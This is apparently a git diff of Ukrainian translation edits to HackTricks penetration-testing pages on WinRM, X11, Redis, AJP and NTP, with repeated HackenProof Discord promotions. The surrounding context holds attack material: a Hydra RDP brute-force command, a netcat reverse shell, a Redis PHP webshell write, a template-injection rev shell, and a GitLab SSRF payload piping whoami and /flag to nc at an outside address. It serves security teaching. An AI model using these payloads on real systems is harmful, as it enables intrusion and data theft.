wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
Цей метод дозволяє віддалено налаштовувати WinRM, підвищуючи гнучкість у керуванні Windows-машинами з відстані.
|
||||
Цей метод дозволяє віддалено налаштовувати WinRM, підвищуючи гнучкість в управлінні Windows-машинами з відстані.
|
||||
|
||||
### Перевірте, чи налаштовано
|
||||
|
||||
|
@ -150,18 +150,18 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Hacking Insights**\
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
Залучайтеся до контенту, який занурює у захоплення та виклики хакінгу
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Latest Announcements**\
|
||||
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
|
@ -304,7 +304,7 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -312,10 +312,10 @@ Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
|||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||||
|
||||
**Новини про хакінг у реальному часі**\
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -30,11 +30,11 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
**X Window System** (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical **user interfaces (GUIs)**, with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.
|
||||
**X Window System** (X) є універсальною системою вікон, що поширена на операційних системах на базі UNIX. Вона надає структуру для створення графічних **інтерфейсів користувача (GUI)**, де окремі програми займаються дизайном інтерфейсу користувача. Ця гнучкість дозволяє створювати різноманітні та налаштовувані враження в середовищі X.
|
||||
|
||||
**Default port:** 6000
|
||||
**Порт за замовчуванням:** 6000
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
6000/tcp open X11
|
||||
|
@ -56,7 +56,7 @@ $ xxd ~/.Xauthority
|
|||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||||
00000030: 041d ef ...
|
||||
```
|
||||
> MIT-magic-cookie-1: Генерація 128-бітного ключа (“cookie”), зберігання його в \~/.Xauthority (або в місці, на яке вказує змінна середовища XAUTHORITY). Клієнт надсилає його серверу у відкритому вигляді! Сервер перевіряє, чи має він копію цього “cookie”, і якщо так, з'єднання дозволяється. Ключ генерується DMX.
|
||||
> MIT-magic-cookie-1: Генерація 128-бітного ключа (“cookie”), зберігання його в \~/.Xauthority (або в тому місці, куди вказує змінна середовища XAUTHORITY). Клієнт надсилає його серверу у відкритому вигляді! Сервер перевіряє, чи має він копію цього “cookie”, і якщо так, з'єднання дозволяється. Ключ генерується DMX.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Щоб **використовувати cookie**, ви повинні встановити змінну середовища: **`export XAUTHORITY=/path/to/.Xauthority`**
|
||||
|
@ -99,8 +99,6 @@ Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated
|
|||
```
|
||||
./xrdp.py <IP:0>
|
||||
```
|
||||
Шлях з: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
|
||||
Спочатку нам потрібно знайти ID вікна, використовуючи xwininfo
|
||||
```
|
||||
xwininfo -root -display 10.9.xx.xx:0
|
||||
|
@ -139,13 +137,11 @@ Corners: +0+0 -0+0 -0-0 +0-0
|
|||
```
|
||||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||||
```
|
||||
Інший спосіб:
|
||||
|
||||
**Reverse Shell:** Xrdp також дозволяє отримати зворотний шелл через Netcat. Введіть наступну команду:
|
||||
**Зворотний шелл:** Xrdp також дозволяє отримати зворотний шелл через Netcat. Введіть наступну команду:
|
||||
```bash
|
||||
./xrdp.py \<IP:0> –no-disp
|
||||
```
|
||||
В інтерфейсі ви можете побачити **R-shell option**.
|
||||
В інтерфейсі ви можете побачити опцію **R-shell**.
|
||||
|
||||
Потім запустіть **Netcat listener** у вашій локальній системі на порту 5555.
|
||||
```bash
|
||||
|
@ -163,7 +159,7 @@ nc -lvp 5555
|
|||
|
||||
* `port:6000 x11`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -179,8 +175,8 @@ nc -lvp 5555
|
|||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -48,9 +48,9 @@ PORT STATE SERVICE VERSION
|
|||
nmap --script redis-info -sV -p 6379 <IP>
|
||||
msf> use auxiliary/scanner/redis/redis_server
|
||||
```
|
||||
## Manual Enumeration
|
||||
## Ручна Енумерація
|
||||
|
||||
### Banner
|
||||
### Банер
|
||||
|
||||
Redis є **текстовим протоколом**, ви можете просто **надіслати команду в сокет** і повернуті значення будуть читабельними. Також пам'ятайте, що Redis може працювати з використанням **ssl/tls** (але це дуже дивно).
|
||||
|
||||
|
@ -59,7 +59,7 @@ Redis є **текстовим протоколом**, ви можете прос
|
|||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
```
|
||||
Першою командою, яку ви можете спробувати, є **`info`**. Вона **може повернути вихід з інформацією** про екземпляр Redis **або щось** подібне до наступного:
|
||||
Першою командою, яку ви можете спробувати, є **`info`**. Вона **може повернути вихід з інформацією** про екземпляр Redis **або щось** подібне, як наведено нижче:
|
||||
```
|
||||
-NOAUTH Authentication required.
|
||||
```
|
||||
|
@ -68,7 +68,7 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
|||
### Аутентифікація Redis
|
||||
|
||||
**За замовчуванням** Redis можна отримати доступ **без облікових даних**. Однак його можна **налаштувати** на підтримку **тільки пароля або імені користувача + пароля**.\
|
||||
Можна **встановити пароль** у файлі _**redis.conf**_ за допомогою параметра `requirepass` **або тимчасово** до перезапуску служби, підключившись до неї та виконавши: `config set requirepass p@ss$12E45`.\
|
||||
Можна **встановити пароль** у файлі _**redis.conf**_ з параметром `requirepass` **або тимчасово** до перезапуску служби, підключившись до неї та виконавши: `config set requirepass p@ss$12E45`.\
|
||||
Також можна налаштувати **ім'я користувача** в параметрі `masteruser` всередині файлу _**redis.conf**_.
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -76,12 +76,12 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
|||
Також зверніть увагу, що **немає способу дізнатися зовні**, чи був Redis налаштований лише з паролем або з ім'ям користувача + паролем.
|
||||
{% endhint %}
|
||||
|
||||
У таких випадках вам **потрібно знайти дійсні облікові дані** для взаємодії з Redis, тому ви можете спробувати [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\
|
||||
У таких випадках вам **потрібно знайти дійсні облікові дані** для взаємодії з Redis, тому ви можете спробувати [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) його.\
|
||||
**У разі, якщо ви знайшли дійсні облікові дані, вам потрібно аутентифікувати сесію** після встановлення з'єднання за допомогою команди:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
**Дійсні облікові дані** будуть підтверджені: `+OK`
|
||||
**Дійсні облікові дані** будуть відповідати: `+OK`
|
||||
|
||||
### **Аутентифікована енумерація**
|
||||
|
||||
|
@ -108,7 +108,7 @@ rename-command FLUSHDB ""
|
|||
|
||||
### **Вивантаження бази даних**
|
||||
|
||||
У Redis **бази даних - це числа, що починаються з 0**. Ви можете дізнатися, чи використовується якась з них, у виході команди `info` у частині "Keyspace":
|
||||
Всередині Redis **бази даних - це числа, що починаються з 0**. Ви можете дізнатися, чи використовується якась з них, у виході команди `info` в частині "Keyspace":
|
||||
|
||||
![](<../.gitbook/assets/image (766).png>)
|
||||
|
||||
|
@ -116,7 +116,7 @@ rename-command FLUSHDB ""
|
|||
```
|
||||
INFO keyspace
|
||||
```
|
||||
У цьому прикладі використовуються **бази даних 0 та 1**. **База даних 0 містить 4 ключі, а база даних 1 містить 1**. За замовчуванням Redis використовуватиме базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити:
|
||||
У цьому прикладі використовуються **бази даних 0 і 1**. **База даних 0 містить 4 ключі, а база даних 1 містить 1**. За замовчуванням Redis використовуватиме базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити:
|
||||
```bash
|
||||
SELECT 1
|
||||
[ ... Indicate the database ... ]
|
||||
|
@ -125,7 +125,7 @@ KEYS *
|
|||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
У випадку, якщо ви отримаєте наступну помилку `-WRONGTYPE Operation against a key holding the wrong kind of value` під час виконання `GET <KEY>`, це може бути через те, що ключ може бути чимось іншим, ніж рядок або ціле число, і вимагає спеціального оператора для його відображення.
|
||||
У випадку, якщо ви отримаєте наступну помилку `-WRONGTYPE Operation against a key holding the wrong kind of value` під час виконання `GET <KEY>`, це може бути через те, що ключ може бути чимось іншим, ніж рядком або цілим числом, і вимагає спеціального оператора для його відображення.
|
||||
|
||||
Щоб дізнатися тип ключа, використовуйте команду `TYPE`, приклад нижче для спискових та хеш-ключів.
|
||||
```bash
|
||||
|
@ -141,12 +141,12 @@ DUMP <key>
|
|||
```
|
||||
**Вивантажте базу даних за допомогою npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **або python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Інсайти з хакінгу**\
|
||||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
|
||||
**Новини про хакінг у реальному часі**\
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
|
@ -166,7 +166,7 @@ DUMP <key>
|
|||
```
|
||||
### PHP Webshell
|
||||
|
||||
Інформація з [**тут**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Ви повинні знати **шлях** до **папки веб-сайту**:
|
||||
Інформація з [**тут**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Ви повинні знати **шлях** до **папки сайту**:
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||
|
@ -178,13 +178,13 @@ OK
|
|||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
Якщо виникає виняток доступу до веб-оболонки, ви можете очистити базу даних після резервного копіювання і спробувати знову, не забувайте відновити базу даних.
|
||||
Якщо виникає виняток доступу до веб-оболонки, ви можете очистити базу даних після резервного копіювання і спробувати знову, не забудьте відновити базу даних.
|
||||
|
||||
### Шаблон веб-оболонки
|
||||
### Шаблон Веб-оболонки
|
||||
|
||||
Як і в попередньому розділі, ви також можете перезаписати деякий html шаблонний файл, який буде інтерпретовано шаблонним двигуном, і отримати оболонку.
|
||||
|
||||
Наприклад, слідуючи [**цьому опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), ви можете побачити, що зловмисник вставив **rev shell в html**, інтерпретований **двигуном шаблонів nunjucks:**
|
||||
Наприклад, слідуючи [**цьому опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), ви можете побачити, що зловмисник вставив **rev shell в html**, інтерпретованому **двигуном шаблонів nunjucks:**
|
||||
```javascript
|
||||
{{ ({}).constructor.constructor(
|
||||
"var net = global.process.mainModule.require('net'),
|
||||
|
@ -256,11 +256,11 @@ OK
|
|||
"root\n"
|
||||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||||
```
|
||||
6. Вивантажте модуль, коли захочете: `MODULE UNLOAD mymodule`.
|
||||
6. Вивантажте модуль, коли завгодно: `MODULE UNLOAD mymodule`.
|
||||
|
||||
### Обхід пісочниці LUA
|
||||
|
||||
[**Тут**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) ви можете побачити, що Redis використовує команду **EVAL** для виконання **коду Lua в пісочниці**. У пов'язаному пості ви можете побачити, **як зловживати цим**, використовуючи функцію **dofile**, але [очевидно](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), що це більше не можливо. У будь-якому випадку, якщо ви можете **обійти пісочницю Lua**, ви могли б **виконати довільні** команди на системі. Також, з того ж посту ви можете побачити деякі **варіанти для виклику DoS**.
|
||||
[**Тут**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) ви можете побачити, що Redis використовує команду **EVAL** для виконання **коду Lua в пісочниці**. У пов'язаному пості ви можете побачити, **як це зловживати**, використовуючи функцію **dofile**, але [очевидно](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), що це більше не можливо. У будь-якому випадку, якщо ви можете **обійти пісочницю Lua**, ви могли б **виконати довільні** команди на системі. Також, з того ж посту ви можете побачити деякі **варіанти для виклику DoS**.
|
||||
|
||||
Деякі **CVE для втечі з LUA**:
|
||||
|
||||
|
@ -282,7 +282,7 @@ set mykey2 helloworld
|
|||
```
|
||||
## SSRF talking to Redis
|
||||
|
||||
Якщо ви можете надіслати **текстовий** запит **до Redis**, ви можете **спілкуватися з ним**, оскільки Redis буде читати запит рядок за рядком і просто відповідати помилками на рядки, які не розуміє:
|
||||
Якщо ви можете надіслати **текстовий** запит **до Redis**, ви можете **спілкуватися з ним**, оскільки Redis буде читати запит по рядках і просто відповідати помилками на рядки, які не розуміє:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
|
@ -292,34 +292,34 @@ set mykey2 helloworld
|
|||
-ERR unknown command 'Cache-Control:'
|
||||
-ERR unknown command 'Connection:'
|
||||
```
|
||||
Тому, якщо ви знайдете **SSRF vuln** на веб-сайті і зможете **контролювати** деякі **заголовки** (можливо, з вразливістю CRLF) або **POST параметри**, ви зможете надсилати довільні команди до Redis.
|
||||
Тому, якщо ви знайдете **SSRF vuln** на вебсайті і зможете **контролювати** деякі **заголовки** (можливо, з вразливістю CRLF) або **POST параметри**, ви зможете надсилати довільні команди до Redis.
|
||||
|
||||
### Приклад: Gitlab SSRF + CRLF до Shell
|
||||
|
||||
У **Gitlab11.4.7** була виявлена **SSRF** вразливість та **CRLF**. **SSRF** вразливість була в **функціоналі імпорту проекту з URL** під час створення нового проекту і дозволяла отримувати доступ до довільних IP-адрес у формі \[0:0:0:0:0:ffff:127.0.0.1] (це отримує доступ до 127.0.0.1), а вразливість **CRLF** була використана просто **додаванням символів %0D%0A** до **URL**.
|
||||
У **Gitlab11.4.7** була виявлена **SSRF** вразливість та **CRLF**. **SSRF** вразливість була в **функціоналі імпорту проекту з URL** під час створення нового проекту і дозволяла доступ до довільних IP у формі \[0:0:0:0:0:ffff:127.0.0.1] (це забезпечить доступ до 127.0.0.1), а вразливість **CRLF** була використана просто **додаванням символів %0D%0A** до **URL**.
|
||||
|
||||
Тому було можливим **зловживати цими вразливостями, щоб спілкуватися з екземпляром Redis**, який **керує чергами** з **gitlab** і зловживати цими чергами, щоб **отримати виконання коду**. Пейлоад зловживання чергою Redis:
|
||||
Тому стало можливим **зловживати цими вразливостями, щоб спілкуватися з екземпляром Redis**, який **керує чергами** з **gitlab** і зловживати цими чергами для **отримання виконання коду**. Пейлоад зловживання чергою Redis:
|
||||
```
|
||||
multi
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||||
exec
|
||||
```
|
||||
І запит **URL encode**, що **зловживає SSRF** та **CRLF** для виконання `whoami` і відправки виходу через `nc`, виглядає так:
|
||||
І запит **URL encode** **зловживаючи SSRF** та **CRLF** для виконання `whoami` та відправлення виходу через `nc` виглядає так:
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_З якоїсь причини (як для автора_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _звідки була взята ця інформація) експлуатація працювала з схемою `git`, а не з схемою `http`._
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
**Інсайти з хакінгу**\
|
||||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||||
|
||||
**Новини хакінгу в реальному часі**\
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
@ -336,7 +336,7 @@ _З якоїсь причини (як для автора_ [_https://liveoverflo
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -38,7 +38,7 @@ From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https:
|
|||
|
||||
Також цікаво:
|
||||
|
||||
> Протокол ajp13 є пакетно-орієнтованим. Бінарний формат, ймовірно, був обраний замість більш читабельного простого тексту з причин продуктивності. Веб-сервер спілкується з контейнером сервлетів через TCP-з'єднання. Щоб зменшити витрати на створення сокетів, веб-сервер намагатиметься підтримувати постійні TCP-з'єднання з контейнером сервлетів і повторно використовувати з'єднання для кількох циклів запит/відповідь.
|
||||
> Протокол ajp13 орієнтований на пакети. Бінарний формат, ймовірно, був обраний замість більш читабельного простого тексту з причин продуктивності. Веб-сервер спілкується з контейнером сервлетів через TCP-з'єднання. Щоб зменшити витрати на створення сокетів, веб-сервер намагатиметься підтримувати постійні TCP-з'єднання з контейнером сервлетів і повторно використовувати з'єднання для кількох циклів запит/відповідь.
|
||||
|
||||
**Default port:** 8009
|
||||
```
|
||||
|
@ -87,7 +87,7 @@ make
|
|||
sudo make install
|
||||
nginx -V
|
||||
```
|
||||
Закоментуйте весь блок `server` і додайте наступні рядки всередині блоку `http` у `/etc/nginx/conf/nginx.conf`.
|
||||
Закоментуйте весь блок `server` і додайте наступні рядки всередині блоку `http` у файлі `/etc/nginx/conf/nginx.conf`.
|
||||
```shell-session
|
||||
upstream tomcats {
|
||||
server <TARGET_SERVER>:8009;
|
||||
|
@ -147,7 +147,7 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy
|
|||
```
|
||||
### Apache AJP Proxy
|
||||
|
||||
Зустріти відкритий порт 8009 без інших доступних веб-портів рідко. Однак, все ще можливо його експлуатувати, використовуючи **Metasploit**. Використовуючи **Apache** як проксі, запити можна перенаправити на **Tomcat** на порту 8009.
|
||||
Зустріти відкритий порт 8009 без інших доступних веб-портів рідко. Однак, все ще можливо експлуатувати його, використовуючи **Metasploit**. Використовуючи **Apache** як проксі, запити можна перенаправити на **Tomcat** на порту 8009.
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
|
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
|
|||
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -195,7 +195,7 @@ msf exploit(tomcat_mgr_deploy) > show options
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи в телеграмі**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -33,7 +33,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Basic Information
|
||||
|
||||
**Протокол синхронізації часу в мережі (NTP)** забезпечує синхронізацію годинників комп'ютерів та мережевих пристроїв через мережі з змінною затримкою. Це важливо для підтримки точного обліку часу в ІТ-операціях, безпеці та веденні журналів. Точність NTP є суттєвою, але вона також несе ризики безпеки, якщо не управляється належним чином.
|
||||
**Протокол синхронізації часу в мережі (NTP)** забезпечує синхронізацію годинників комп'ютерів та мережевих пристроїв через мережі з різною затримкою. Це важливо для підтримки точного обліку часу в ІТ-операціях, безпеці та веденні журналів. Точність NTP є суттєвою, але вона також несе ризики безпеки, якщо не управляється належним чином.
|
||||
|
||||
### Summary & Security Tips:
|
||||
|
||||
|
@ -71,7 +71,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
|||
|
||||
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
